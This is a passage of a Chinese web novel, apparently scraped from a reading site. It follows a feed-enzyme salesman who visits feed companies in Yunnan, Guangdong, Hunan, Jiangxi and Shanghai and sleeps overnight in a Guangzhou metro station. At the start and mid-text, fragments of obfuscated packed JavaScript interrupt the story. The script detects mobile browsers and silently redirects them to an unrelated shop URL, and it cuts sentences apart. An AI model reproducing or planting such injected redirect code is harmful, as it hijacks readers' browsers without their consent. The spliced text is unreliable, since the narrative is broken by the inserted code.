l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334301|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新靠回座椅,后脑勺顶着靠背,接着说:“植酸酶想卖出去真的太难了!我尝试过很多次,也找过不少人。不如这样,我们合作卖酶制剂产品,销售费用由你自己承担。你卖出的产品,利润的10%作为提成,但所有订单必须签订盖有双方公章的销售合同。”
“我不差钱,也看不上那点零碎小钱。主要是想为国家多做些利国利民的事,促进社会繁荣和谐。我是知识分子,不是商人。”方教授视金钱如粪土,义正词严地补充道。
那天我们从中午聊到傍晚,确定了基本合作框架和一些具体细节。方教授名下有一家注册公司,叫昆明聚德贤生物科技有限公司。我们协商后一致认为,在这家公司的基础上,只需对商标、宣传资料、主营产品等做适当修改,便可保留继续使用。公司内部事务由他的亲弟弟方贤明全权负责,我只负责产品销售。若涉及样品检测、评估、技术服务、新产品研发等事宜,我可直接对接实验室相关负责人。
云南轻工业大学生命科学学院工程中心的实验室里,所有人都管方贤德教授叫“老板”。老板授权管理实验室的博士被称为“老大”,研究生中干活最多的是“老二”。老大董金贵任劳任怨、诚实可靠,整天像装了电动马达的老黄牛,从早忙到晚,全权帮方教授打理学校的日常工作、写材料、申报项目、撰写和发表论文等。昆明聚德贤公司生产酶制剂时,若需要小批量原料、小型设备、试剂及耗材,他可以实验室名义帮忙采购;公司需要少量新产品,他也负责在实验室小规模生产。
老二张斌憨厚老实,主要带领其他研究生完成方教授指定的任务,帮忙排忧解难,还打理对外接待应酬、项目对接、费用处理等,类似私人秘书的工作。后来我常收集竞争对手的产品让他帮忙检测分析,他也常找我从市场购买方教授想要的酶制剂——他说过滤不干净的产品里,通常会残留活的酶制剂菌种。
我的市场拓展从云南起步。首先拜访了昆明一家做饲料核心预混料的公司,规模虽小但活力十足,员工团结,老板、技术经理、销售经理都是年轻人,容易接受新理念和产品,也愿意与合作伙伴共同成长。
十几天后,他们成为我们公司在云南的第一个植酸酶客户。接下来不到四个月,我又在云南开发了五个新客户。
这四个月里,我借宿在张云龙租的简易房里。他在昆明时,我整天跟着蹭吃蹭喝;他出差时,我早晚都吃方便面。当时有两家饲料公司同意试用植酸酶,一家在云南现代农业大学校门口右侧,另一家位于昆明大板桥工业园内。为节省100多元运费,我手抱肩扛,转乘好几路公交车,像马骡一样分别给两地送去50公斤植酸酶。在此期间,我还结识了云南天神集团的董事长何正道。那天从早上8点起,我便守候在天神集团办公大厦的一楼大厅。上午10点左右,一位长相与天神集团宣传资料上何正道头像极为相似的中年人走进大厅。我毫不犹豫地快步迎上前,紧紧握住他的手,不等他开口询问,便自我介绍道:“何董事长您好!我是从事饲料酶制剂销售的王老七,非常荣幸认识您。”
他面露诧异,有些惊讶地看着我。我未等他开口,接着补充说:“我和您是鲁亮老乡!我家在距离您家50公里外的深山里。”说完,我弯腰双手递上名片。
他接过名片扫了一眼,随手放进裤兜,随即示意我先进入电梯,说等上楼后再详谈。我一路跟随他,进入天神集团副总裁办公室。他坐定后,示意我在他正对面的椅子上坐下,然后用手托着下巴,询问我具体是鲁亮县哪个乡镇的人、从事酶制剂销售多久了以及今年的年龄。我逐一回答后,他鼓励道:“年轻人就该像你这样初生牛犊不怕虎,敢想敢干。”他还叫来集团技术总监蔡博士到副总裁办公室。我们一直聊到中午,何正道董事长站起身,做了个“走”的手势,说道:“我请你去吃肯德基!”
四个月后,我开始走出云南,乘坐绿皮火车沿广西一路南下至广东,希望在云南以外的市场取得突破。
12. 第 12 章
七月的广州,潮湿憋闷,酷热难耐。
太阳仿佛向大地倾泻着烈火,街道如同被焚烧一般,天空万里无云,地面白亮刺眼,沥青马路黏软油亮。闷热潮湿的空气中,弥漫着一股浓重的焦煳味。街道两旁的榕树耷拉着长须,叶片微卷,无精打采地纹丝不动。高楼大厦的玻璃幕墙反射着强烈的白光。街上行人寥寥,沿街商铺都紧闭窗户和玻璃门,门上贴着“空调开放,小心碰头”的提示。知了声嘶力竭地鸣叫着,疾驰而过的汽车喷出滚滚热浪。广州室外的每一个角落都憋闷异常,每样东西都炙热难当,每寸马路都烫得脚疼,让人呼吸急促、心跳加快,浑身被汗水浸透的衣服裹着,心情烦躁不已。
我从广州金银卡饲料公司苑总的办公室出来时,正值中午。顶着炎炎烈日,浑身冒汗的我挤上了开往广州流花客运站的公交车。在流花客运站旁的小超市,我买了一个面包和一瓶可口可乐,穿着被汗水浸透的衣服,登上了前往云浮市新兴县的大巴车。
广东云浮市新兴县的魏氏集团养殖规模极为庞大,每年出栏数亿只家禽、数十万头生猪,均由集团自主育种、孵化繁育、生产加工饲料,通过农户代养育成或育肥后回收屠宰并深加工。他们既不对外销售饲料,也不向外购买种苗,是畜牧业中真正实现农业产业化一条龙的企业,拥有完整闭环的产业链。集团由魏氏家族于1983年创立,后来随着养殖规模扩大,袁氏、李氏等家族也加入其中。集团采用“公司+农户”的发展模式,实行股权分散、经营管理权集中的全员持股制度,形成了“众人拾柴火焰高”的发展格局。
魏氏集团在新兴县几乎家喻户晓,因为许多人在集团工作,或正与集团合作养殖。我到达新兴县城后,轻松打听到了魏氏集团的办公地址及一些零散信息。魏氏集团行事风格低调简朴,总部既不在新兴县城,也不在云浮市或广州市,而是设在新兴县下属的勒竹镇。
我乘坐摩托车到达勒竹镇时,已是傍晚。我在镇上随意找了一家小旅馆,办理入住手续时,发现有好几个人和我带着相似的行李,穿着几乎一模一样的衣服。作为销售员的职业敏感让我意识到,他们可能和我从事相同的工作。我好奇地走上前随口一问,果然,他们都是准备第二天拜访魏氏集团的饲料原料或动物疫苗兽药销售员,有的甚至是公司专门派驻负责魏氏集团业务的人员,常年住在勒竹镇或新兴县城。
第二天早上,当我来到魏氏集团总部办公地时,正准备进大门时,我被一位五十多岁的保安大叔拦了下来。他问道:“你预约了谁?”我支吾半天,说:“我没预约任何人,也不知道该找谁预约,更没有魏氏集团酶制剂相关负责人的联系方式。”
保安大叔听完,用橡胶棒指着保安室墙上的岗位职责牌说:“按照集团规定,没有预约的访客一律不准进入总部,否则安保人员会受重罚。”无论我如何请求通融,解释自己不远千里赶来是为了拜访酶制剂采购负责人,他始终不为所动,坚守职责不让我进去。
我在大门口犹豫片刻,想到一路舟车劳顿,却连采购负责人的面都没见到,名片也没发出去一张,实在窝囊又不甘心。于是决定在大门口守着,只要看到有车出来就上前拦下,先问好、递名片,再询问技术总监的姓名和电话。那天40多度高温,我在门口守了整整一上午,总共拦了九辆车——六车主骂我“脑子进水的神经病”,两车主骂我“碰瓷的亡命之徒”。直到第九辆,一位年轻漂亮的女财务经理热情告诉我:技术总监是谭博士,也是她华南农大的校友,还给了我谭博士的电话。
下午我拨通电话,自我介绍并说明来意后,谭博士说当天下午没空,让我第二天上午十点后到办公室找他,建议十一点过去。
第三天早上十点,我再次到门口,保安大叔又拦着问预约对象。我答已约技术部谭博士,他用对讲机求证,谭博士却称刚接到养殖场饲料质量投诉,今明两天要出差处理,周末休息,让我下周一再来。
第七天早上,我终于顺利进到谭博士办公室门口,却发现里面几人围着他交谈,走廊长凳上还有十二人排队等候。
快轮到我时已中午十二点,隔壁办公室的人陆续下班,谭博士办公室里的两位访客还在不停交谈。又过二十多分钟,他们才依依不舍地出来。我双手捧着名片起身迎上,弯腰递给他:“谭博士您好!我是上周二预约过您的云南酶制剂厂商王老七。”
谭博士接过名片看了一眼,擦了擦额头的汗,脸上带着倦意,礼貌地说:“哦,王先生啊!实在抱歉,你在勒竹镇等了我一周,我一直没腾出时间。不过今天还是不巧——下午一点有魏董事长主持的会议,只剩三十多分钟,我还没吃午饭,所以还是没法接待你。要不这样,你留下公司资料和联系方式,以后我们需要产品时,我让采购部联系你。”
从新兴县坐大巴回广州时已晚上十一点多,我在ATM机查了银行卡余额,只有2.6元,身上现金也只剩十几块——方贤德教授没让出纳按时把我几个月的销售提成打过来。
失落又焦虑的我坐在开往天河客运站的最后一班3号线地铁上,盼着到了还能赶上最后一班去增城朱村的公交。朱村附近的宁西镇有我高中同学,他在广州索菲亚家具公司上班,我打算去他那里借宿一晚,再借点钱。
当我乘地铁赶到天到达天河客运站时,已是深夜十二点,客运站的大门早已紧闭。我站在漆黑的门口,左顾右盼,心中反复盘算:今夜究竟该去哪里才能平安度过?购票乘地铁后,身上仅剩9元钱,连通宵网吧都去不起,更别提还没吃晚饭。
走到漆黑的街角,空旷的街道让我心中涌起难以平复的忧虑与恐慌,茫然不知所措,像黑夜中旷野上一只迷途的羔羊,惊恐地四处张望。忽然,我看到3号线地铁站的出入口依然灯火通明,亮如白昼,暗自思忖:“不如去地铁站里睡一夜,安全又凉爽,关键还不用花钱。”心里顿时像在波涛汹涌的大海上抓住了救命稻草,地铁站瞬间成了我的温馨港湾。
打定主意后,我快步走进最近的小超市,买了一个2元的面包,悄悄溜进地铁站。清场的工作人员正四处寻找滞留乘客,大声反复询问:“里面还有人吗?我们要下班了!地铁站要关大门了!”
我屏住呼吸躲在墙角,趁工作人员背过身时,蹑手蹑脚地快速溜进厕所,轻轻关上门,躲进独立的蹲坑隔间。在“请问还有人在里面吗?我们要关地铁站大门了!”的持续呼喊中,我屏声静气,躲在隔间里不敢挪动分毫。时间在我“扑通扑通”的急促心跳中缓慢流逝,工作人员的呼喊与脚步声渐渐清晰地远去,直到空荡荡的地铁站里只剩下我一人。
地铁站陷入一片寂静,是那种毫无生机的死寂——连一丝风都没有,令人恐惧,仿佛能让一切生命窒息。
忽然传来“嗒”的一声脆响,亮如白昼的灯光瞬间熄灭。死寂的地铁站陷入漫无边际的黑暗,是那种没有一丝光明的漆黑,令人毛发倒竖,近似死亡的黑暗。
我原本燥热的身体迅速冰凉,汗水湿透的衬衫凉飕飕地贴在皮肤上。我僵直的手冒着冷汗,颤抖着打开手机,借着微弱的屏幕光轻轻推开隔间门,顺着墙壁摸索到厕所门把手,缓缓推开门。每一个动作都屏住呼吸,尽量轻柔缓慢,生怕发出声响引来隧道深处的妖魔鬼怪。我哆嗦着摸索到角落,蹲下蜷缩起来,十指冰凉,头皮发麻,唇舌发干。黑暗中,仿佛有绵绵不绝的无形力量向我挤压,无数阴森的眼睛贪婪地注视着我,不远处的恐怖魔爪伺机伸向我。满脑子都是恐怖电影里丧尸与鬼怪的画面,尽管努力克制,血盆大口、尖牙利爪、血腥腐烂的狰狞镜头仍不由自主地反复浮现。
不知在黑暗中过了多久,我口干舌燥,饥渴难耐。求生的本能驱使我再次顺着墙壁摸索回厕所,悄悄喝了些自来水。返回墙角啃面包时,忽然发现不远处依稀浮现楼梯的轮廓,心中涌起激动与狂喜。我再次打开手机,借着微光快步走向那里,确认是通向地面的楼梯后,又回到墙角。在浓如泼墨的黑暗里,我肩背手提行李,摸索着再次走向楼梯。
我摸黑爬上两层楼梯,穿过狭长的转角走廊,再爬两层楼梯,来到地铁站口的卷帘门后。透过卷帘门缝隙的微光,像悲天悯人的圣母,给我带来巨大的安全感与慰藉。我仿佛挣脱了黑暗的无间地狱,沿着深渊四壁,重新爬回了阳光普照的人间。
当黑暗达到极致时,哪怕是路边昏暗的灯光,穿过地铁站口卷帘门的缝隙,折射下两层楼梯,再散射过狭长的转角走廊,又折射下两层楼梯,竟也会变得熠熠生辉、光芒四射。
在成群蚊虫的叮咬下,在坚硬的地板上,我度过了终生难忘、极为阴森可怖的一夜,也无意间找到了一种免费寄宿过夜的方式。此后一年多里,每当没钱住旅馆,我都会用这种方式度过黑夜。
第二天黎明,地铁站工作人员打开卷帘门时,投来异常惊奇不解的目光。我迅速捡起地上的行李,仓皇逃离了地铁站口。太阳升起后,我从天河客运站乘公交车到增城朱村,找到在宁西镇广州索菲亚家具公司上班的高中同学,向他借了1000元。下午,我又匆匆赶往深圳,顺利拜访了深圳比利时英伟(中国)饲料公司和深圳正方康地饲料公司。第三天晚上,我从深圳踏上了开往湖南洪州市的绿皮火车。
绿皮火车的硬座车厢,或许是人世间最能窥见社会底层悲欢离合、看清他们辛酸百态的地方。摇摇晃晃的火车头发出千篇一律的“咔嚓咔嚓”声,还不时粗声粗气地“呜呜”鸣笛,像一头疲惫不堪的老牛,蹒跚行走在狭窄的铁轨上。每节车厢的行李架都堆满大袋小包,还有形态各异的箱子。短小脏乱的座位上挤满了歪歪斜斜、精神萎靡、昏昏欲睡的旅客。狭窄的过道、颠簸摇晃的车厢连接处,也挤满了疲惫困乏的人。每逢火车拐弯,人群就像海洋里的水藻,随着流动的海水左右缓缓摇摆。浓烈的汗臭味、脚臭味、方便面味,弥漫在车厢的每一个角落。熬到半夜,疲惫困顿的人们终于哈欠连天:有的趴在座位前狭窄坚硬的桌面上,鼾声如雷;有的斜靠在光滑的车厢壁上,睡眼惺忪;有的干脆钻到腥臭的座位下,酣睡如泥;有的蹲在拥挤的人群缝隙里,半梦半醒。偶尔有吃奶的婴儿突然“哇哇”大哭,吓得睡梦中的人眯眼惊慌四顾。火车售货员不知趣地反复推着售货车,大声嚷嚷“请让一下啊!请让一让啊!到底你让不让啊!”,在密密麻麻的腿脚“丛林”间艰难挪动。
我在绿皮火车车厢里站了一夜。次日早上到达湖南洪州市,准备拜访宋人神集团的技术总监陈博士,以及曾任曲靖神牛饲料公司总经理、现任宋人神集团采购总监的周进。
宋人神集团在洪州市郊区新建了一座集办公、展览、培训与生产于一体的总部基地。站在大门外,我清晰看到熟悉的花岗岩神牛雕像群高高耸立在庞大的水池中央,周围错落分布着喷泉水景与奇山异石。综合办公楼门口的大理石台阶一直延伸到喷泉水池旁的导流车道。我沿着台阶走到办公楼门口,穿过伸缩玻璃大门进入大厅。大厅中央正上方悬挂着一盏硕大的水晶吊灯,两侧涂有硅藻泥的墙壁上,依然挂满宋二海与各界领导人亲切握手的照片——只是他腰杆比以前挺得更直,不再那么点头哈腰,笑容也更灿烂,显得愈发自信。正对玻璃大门、迎面挑高的墙壁上,摆满了各种金灿灿的荣誉奖牌与证书。穿过两侧写满密密麻麻白底红字的企业文化和宋二海诗歌的长廊,我来到了采购总监周进的办公室。
周进的办公室坐南朝北,面朝走廊。办公桌后的墙壁上,高高挂着一幅我十分熟悉的宋二海半身肖像。伟岸威严的肖像下方,依然写着那首我熟悉的、宋二海为神牛创作的诗歌:“啊!神牛,我爱你!你站着是一座山,倒下还是一座山……”
坐在周进办公桌前的椅子上,我抬头便望见宋二海伟岸的半身肖像。他居高临下,炯炯有神的目光与我隔空对视。但和往常一样,他威严的肖像仍让我感觉到我感到浑身不自在,极不舒服,仿佛精神上被他侵犯般压抑。或许从骨子里,我就难以接受他的个人英雄主义,更不愿依附于他,去敬仰、崇拜、膜拜、歌颂他。我也更不喜欢学习他那些所谓的伟大思想和响亮口号——比起他的这些,我更认同独立精神、自由意志与人人生而平等的理念。
我向周进大致介绍了昆明聚德贤公司的基本情况,以及几款酶制剂产品的主要功能与作用。他一边听一边不住点头,待我说完后接过话头:“酶制剂属于技术型产品,采购事宜由技术总监陈博士指导我们采购部负责。”他顿了顿,用集团内部电话帮我提前预约了陈博士,让我一小时后去陈博士办公室详谈。随后他起身轻轻关上办公室门,意味深长地叮嘱:“拜访陈博士时要多注意说话方式,学会察言观色。技术型产品的采购水很深,套路也多。尤其别跟陈博士提你曾在宋人神集团曲靖神牛饲料公司做过销售员——这话要是传到宋二海董事长耳朵里,你基本就没合作机会了。”
周进接着问起我在曲靖神牛饲料公司时那些老同事的现状,他们过得怎么样。我把自己知道近况的销售人员逐一讲了一遍:
“许友明在我进曲靖神牛的第三个月突然离职,后来在昆明做四川铁骑铜牛饲料公司的云南总经销商。去年9月的一个晚上,他在家吃完饭后正常休息,第二天就再也没醒过来。他骤然离世时年仅45岁,留下两个未成年的孩子、妻子和年迈的父母。
李玉方从宋人神集团石家庄神牛饲料公司调回昆明神牛后不久便离职,加盟了江西富邦集团,以合伙入股的形式在贵州安顺为富邦创立了新的饲料品牌。
刘大志在我进曲靖神牛的第十个月也离职了,后来不断跳槽、频繁改行,还总找人借钱——单找我就借了不下五次。大约一年半前,他在鲁亮县赌博一夜输了三十多万,而且全是借赌场幕后老板的高利贷。父母、老婆孩子都被他拖累,常常连孩子吃饭上学的钱都凑不够,他整天到处借几十、几百块的救命钱。今年年初,他加盟四川铁骑铜牛饲料公司做销售员,在绵阳总部开会时突然倒地猝死,年仅42岁,留□□弱多病的父母、12岁的儿子、3岁的女儿,还有终日以泪洗面的妻子,更可怕的是那三十多万利滚利的高利贷。”
听我讲完,周进眉头紧锁,忧心忡忡地盯着桌上的笔记本电脑,沉思良久后长叹一声,喃喃自语:“我今年也快50岁了,真得好好活着啊!不能整天被工作弄得焦头烂额,被别人的思想牢牢控制,活成别人想要的样子,像个玩偶似的。”
“原曲靖神牛那个老旧的生产基地现在已经拆迁开发成房地产了,连那个让我们印象深刻的厕所也一起拆了。以后再也不会有人上趟厕所还得特意带卷纸了。”我试着缓和气氛,笑着补充道。
周进凝重的表情顿时轻松了些,僵硬的脸上挤出一丝笑容:“不管多脏、粪水怎么溅到屁股上,那厕所其实还算不错了。听说宋二海董事长刚创业时承包洪州市国营饲料厂,厂门口全是绿油油的玉米地,他经常躲进玉米地露天如厕,还顺手扯玉米叶擦屁股。每到秋天玉米成熟,收割的农户看到一堆堆紧挨着的大便,能对着饲料厂大门口从早骂到晚。”
“人的一生犹如白驹过隙,实在太快太短暂。我们只来这世界一次,更该珍惜来之不易的生命,多去体验、经历、挑战多姿多彩的生活,活得灿烂、丰富、饱满才不负此生。他们都还那么年轻,连应尽的责任“责任和义务都还没来得及完成。”他依旧在缅怀那些英年早逝的老同事,带着几分伤感望着我,满是感慨。
“你什么时候有空来云南,我可以带你去攀登哈巴雪山。试着重新定义自己,看看你不为人知的另一面,或是完全陌生的自己。”聊起雪山,我隐隐有些激动,兴奋地接着说,“哈巴雪山,上大学时我就用阿尔卑斯式登山法成功登顶过!我计划在40岁前,以阿尔卑斯式自助攀登的方式,征服一座7000米级以上的雪山。如果届时遇到困难或安全隐患,就找专业登山公司协助。”
但想到当下的处境,我沉默片刻,情绪立刻低落下来:“不过,还得再等几年才能重新登山。这几年我得花时间和精力,先把公司销量做起来,才有财力和时间去实现目标,不然现在连路费都没有。”
“我可能身体素质不行,登不了雪山吧!那么高的海拔,听着就让人害怕!”周进不无担忧地说。
“就像你刚才说的,生命只有一次,我们终将失去它,为什么不大胆一点呢!”我鼓励着周进,随后给他讲了一些提升心肺功能、增强腿部及核心力量的训练项目和方法。
走进陈博士办公室时,他正对着桌上的电脑屏幕,目不转睛地点击鼠标。用余光瞥见我进来,他没有抬头,只是抬手示意我先坐,等他忙完再说。
我在他对面的沙发上坐下,静静等了很久。直到中午12点左右,隔壁办公室的人已陆续下班,他仍未抬头,一边点击鼠标一边开口问:“你们是哪家公司?主要做什么?产品有什么功能?”
于是,我望着他笔记本电脑屏幕的背面,认真介绍了昆明聚德贤公司,也详细说明了产品信息。整个过程中,他始终没有抬头与我进行眼神交流,只是偶尔从喉咙里发出“嗯,对!你说得太对了!”“嗯,是吗?我怎么不知道!”或“哦,好啊!”的声音,表明他在认真倾听。
我讲完后,他默不作声,依旧盯着电脑屏幕,不停点击鼠标。我也找不到新的话题,两人就这样沉默地僵持着。半晌,他合上笔记本电脑,一边起身收拾东西一边说:“我们大部分饲料小原料都是由宋二海董事长和他儿子‘宋太子’亲自指定,我们无权决定。”
他抬头看了我一眼,顿了顿,饶有兴致地接着说:“我们的酶制剂都用美国奥特八公司和广东欲利多公司的产品。宋二海董事长总念叨着美国奥特八公司如何经常邀请他坐直升机,如何请帝豪高尔夫俱乐部的所有成员去苏格兰圣安德鲁斯老球场打球,入住800欧元一晚的古老城堡酒店。广东欲利多公司的老板不仅是他儿子‘宋太子’的老师,还常邀请帝豪高尔夫俱乐部的成员去珠海,坐在直径超20米的大圆桌上吃饭,让他们倍感荣幸与尊贵。”
收拾好东西准备离开时,他忽然转头对我神秘地会心一笑,补充道:“你的名片和资料留下,我会仔细研究。将来有机会用到你们产品时,我会让相关采购人员联系你。”
从湖南洪州火车站出发,我一路向东,第二天抵达江西南昌市。
江西富邦集团在云南拥有宽联饲料、大金饲料、领秀饲料等多个品牌,产品性价比高,深受养殖户欢迎。集团总部设在南昌市,租用了郊区一层老旧写字楼,简朴实用。总部员工整体年纪偏大,看上去都是经验丰富的老将。
我好不容易进到他们办公室大厅,接连问了好几个人都没弄清技术总监是谁、在哪个办公室。我像个陌生人一样在里面东张西望,不到五分钟就被前台保安赶了出来。
当天晚上,我终于四处打听到富邦集团的技术总监叫乔博士。第二天早上,我也如愿见到了乔博士。他却说,富邦集团所有原料产品均通过公开招标采购,仅与报价最低的供应商合作。他们每年12月底都会开展公开招标,让我提前准备好投标书,届时再找机会参与投标。
当天下午,我又拜访了江西三胞胎集团。该集团采用虚拟股权分红的激励模式,近年来扩张势头迅猛。从饲料原料采购、生产管理到营销模式,他们在传统饲料企业的基础上进行了诸多改革与创新:比如推行“拧毛巾”“挤牙膏”式的小原料议价策略,以及直接对接大原料产地的规模化集中采购;产品向简单化、标准化发展,生产管理则实现扁平化、计件化、信息化与模块化;对销售人员强调“狼性文化”,奉行“重赏之下必有勇夫”的丛林法则,每月严格执行销售业绩末位淘汰制,使得销售队伍如狼似虎,所到之处能快速攻陷市场、开发客户。这种风卷残云般的新市场开拓方式,曾让众多南方饲料企业一时措手不及,难以应对。
三胞胎集团的老板是一位超一流的人性洞察者与激励大师,他能将人性中的自私、贪婪与潜能激发到极致,让员工在拼命实现个人私利、满足自我欲望的同时,也助力集团实现利益最大化。他更是一位一等一的“狠人”:不仅对员工要求严苛,对自己更是狠到极致——每天清晨5点起床,7点前准时快走或慢跑8至10公里,随后再洗15分钟冷水澡,即便严寒霜冻也始终坚持;不抽烟、不喝酒、不打牌、不打麻将,无任何不良嗜好,兢兢业业、勤勤恳恳,活像一台为企业而生的冷酷机器,一名为企业而战的狂热战士。若说他是旷野上觅食的狼,那么自认为是虎的宋二海,在他面前更像非洲草原上的“掏肛能手”——鬣狗。
走进三胞胎集团租用的办公楼后,前台一位美女接待员热情且耐心地向我解释:“技术部门的相关负责人常年驻守市场一线,全力服务产品销售;采购部门的负责人也常年在外,秉持‘主动到饲料原料主产地采购、主动敲开供应商大门洽谈’的宗旨。中国东三省、西北地区的各大港口码头,才是他们真正的‘办公场所’。他们通常只有月底或年底才回公司开会,让我以后择机再来。”
在江西南昌,我还无意间拜访到一位颇具特点的贸易公司老板——他只做欧美产品的经销商。初次见面时,他便直截了当、开门见山地说:“如果经销国内企业的产品,基本等于免费帮他们开拓市场;一旦市场成熟,国内企业就会杀鸡取卵、过河拆桥,强行取消我们的经销权,转而自己做直销。国内很多企业无论对员工还是客户,往往只讲利害得失的‘规矩’,却无视商业游戏的‘规则’;只学《三十六计》《鬼谷子》里的卸磨杀驴、兔死狗烹、审时度势、见风使舵等计谋,却很少用心遵守商业合同、践行契约精神、严格依法依规办事。”
经昆明一位客户引荐,我终于在上海找到一家刚起步不久的贸易公司,由他们担任我们产品在上海和浙江的经销商。这家公司有两位股东兼员工:江苏人李新语和浙江人刘大平,两人均30多岁,正值事业黄金期。确定合作后,我们一边按计划发货,一边在浙江开拓市场。
在浙江绍兴市下属的诸暨市,我拜访了一家主营伊维菌素生产的上市公司——芳华拜尔。他们对方贤德教授的酶制剂菌种产生了浓厚兴趣,特意让我邀请方教授到公司详谈。方教授听说有人关注他的菌种,异常兴奋,第二天上午便飞往杭州,随后转乘芳华拜尔董事长的专车,火速抵达公司总部。
方教授的演讲才华平时不显山不露水,但在芳华拜尔召集的数十位微生物发酵技术工程师及三位浙江大学教授面前,我第一次真正见识到他的演讲天赋,不禁目瞪口呆、叹为观止。他不仅演讲流畅、文采斐然,肢体语言也十分丰富。而且极具煽动性:“我们实验室研发的酶制剂菌种技术处于世界顶级水平,发酵产品的各项性能卓越,在全球范围内均属超一流水准。保证能让贵公司在市场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334302|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上所向披靡、一枝独秀,遥遥领先于所有同行与竞争对手。同时,这也为人类首次解决了节约粮食与绿色环保不可兼得的世界难题。我们实验室还拥有高度专业的菌种售后服务团队,360度全方位为贵公司的生产与销售保驾护航,绝对能助贵公司秒杀国内所有对手,实现对全球同行的弯道超车。更能让贵公司全年365天无忧无虑,日进斗金,坐享荣华。”
浙江芳华拜尔公司在鼎盛时期,其发酵生产的伊维菌素占全球市场份额40%以上。位于诸暨市郊区的工厂拥有近150套发酵罐,整齐排列成三排,每排长度超200米,气势恢宏,场面壮观。此外,公司在物流、仓储、房地产、酒店服务等领域亦有所建树,可谓如日中天,一时风头无两。然而,随着第一代创业者逐渐老去,公司基业传承至女儿及女婿手中后,没过几年便快速陨落,归于沉寂。
从浙江返回上海时,我拜访了法国伟诺特国际贸易公司。伟诺特公司在中国饲料小原料市场业绩斐然,但几乎所有产品均由中国工厂贴牌生产。与耐克、阿迪达斯等众多欧美企业类似,它基本依靠企业文化、经营理念与品牌价值输出的“轻资产模式”,并无实体生产工厂。
法国伟诺特公司规模虽小,却是真正建立在制度与流程之上的企业。老板是谁?无人知晓,也无从得知。与美国可口可乐、德国宝马、德国拜尔、美国嘉吉等百年企业一样,伟诺特公司的所言所行均低调、内敛、务实,承载着诸多社会责任感,更具公众属性,是一家社会型企业。在这方面,我们饲料与畜牧业的部分大型民营集团化企业则恰恰相反。或许受数千年农耕文明与帝王世袭制文化的影响,我们有着祖先崇拜、权威崇拜、家族本位、群体主义的精神倾向,更将“面子”置于首位,秉持“锦衣不夜行”“歌功颂德”的精神纲领。因此,饲料与畜牧业的多数大企业老板不仅喜欢对员工进行精神思想控制,更热衷于追求个人英雄主义,企图树立不朽的传奇英雄形象。他们一边痛斥数千年帝制传承的独裁可恨,一边却只想将企业交给有亲密血缘关系的人掌控,试图建立家族世袭制的商业帝国;一边学习先进管理理念,想要建立科学完善的制度与流程,一边自己及亲属却成为制度与流程的破坏者,凌驾于企业之上;一边高呼企业管理要科学化、现代化、理性化,一边却捧着阴阳八卦、易经五行、宫廷秘史;一边穿着阿玛尼燕尾服、开着劳斯莱斯,一边却梦想拿起木棍、穿上树叶退回丛林,将整个部落的女性占为己有;一边渴望依靠不断更新的西医治疗所有疾病,一边却在中医竹简书里寻找最古老的祖传秘方;一边声称企业要走向文明、平等与自由,一边却在现代文明的高速公路上自我封神、倒行逆施;一边给员工培训友爱、善良与奉献社会,一边却研究如何合理避税、绕开环保法律法规;一边本应是祖国的栋梁、社会的良心,一边却只说对自己有利的话、只做对自己有益的事,成为趋利避害的两面人。他们完全无视改革开放时代赐予的机遇与发展红利,将取得的成功全部归结于自身的勤奋、努力与超乎常人的智慧,将拥有的财富归结为认知、才华与能力的变现;他们认为财富多少决定智慧高低,谁最有钱谁就是“大爷”,就像茂密丛林里,谁胳膊最粗谁就是老大,谁最凶猛谁就是首领,也就拥有更多□□权;他们在一条掩耳盗铃、自证纯洁、自证伟大的原始丛林小路上越走越远。道上,拔足狂奔。
在上海接下来的几天里,李新语带我先后拜访了上海红马饲料公司、香川饲料公司,以及金农神集团。
上海金农神集团的老板名叫张四海。他与云南天神集团的老板何正道、辽宁和牧神股份公司的老板唐大海,曾同为深圳正方康地饲料公司的销售员。后来,三人凭借不懈努力与勇敢拼搏,如今总身价已超150亿元,被誉为深圳正方康地饲料公司老员工联谊会的“正方康地三杰”。前两位亦是帝豪高尔夫俱乐部的会员,堪称行业内的一方诸侯。
金农神集团总部坐落于上海松江区,虽占地面积不大,但厂区建筑布局合理,外观设计精致。办公楼位于厂区前端的最右侧,是一栋四层的典雅小楼。公共办公区内干净整洁,外墙采用大面积落地玻璃,内部绿植花卉随处可见,让整个办公区域充满生机与活力。明亮且富有科技感的照明灯饰,搭配别具特色的现代办公家具,为办公室注入了简约、温馨而唯美的氛围。
张四海董事长的办公室位于小楼三层东南侧的弧形端头。办公室三面外墙采用铝合金框架与LOW-E中空落地玻璃组合,近乎全透明的设计赋予室内270度极致视野,身处其中便有俯瞰全局、唯我独尊的开阔感。地面铺满柔软的波斯地毯,各式考究的名贵木材办公家具错落其间;古朴典雅的茶桌上陈列着玲珑剔透的青花瓷,桌下则整齐摆放着形态各异的紫砂罐。胡桃木书柜旁,一扇与柜体颜色、花纹完全一致的隐形门内,藏着一间私密性极强的卧室。
据李新语介绍,金农神集团在饲料小原料采购上有个特点:同等品质下,只要欧美产品价格不超过国产两倍,他们通常会优先选择欧美产品——对欧美产品的信任近乎绝对,甚至带有一定偏见。国内产品若想获得合作机会,不仅要有完整且有吸引力的营销故事,还需向相关决策人员支付一定好处费,或达成“互购产品”的默契,毕竟金农神本身也从事饲料小原料贸易。
我们一行三人先拜访了张四海,他礼节性寒暄几句后,便让我们去找技术总监云博士。然而到了云博士办公室,他却说:“你们得先找供应链总经理,等总经理批准进入采购目录后,再找内务部、采购部等相关部门核实盖章,接着找张四海董事长签字确认,之后再回来找我,我安排养殖事业部做养殖试验评估。评估完成后,还要找供应链总经理组织会议讨论,会议纪要上报张四海董事长签字,然后再找……”
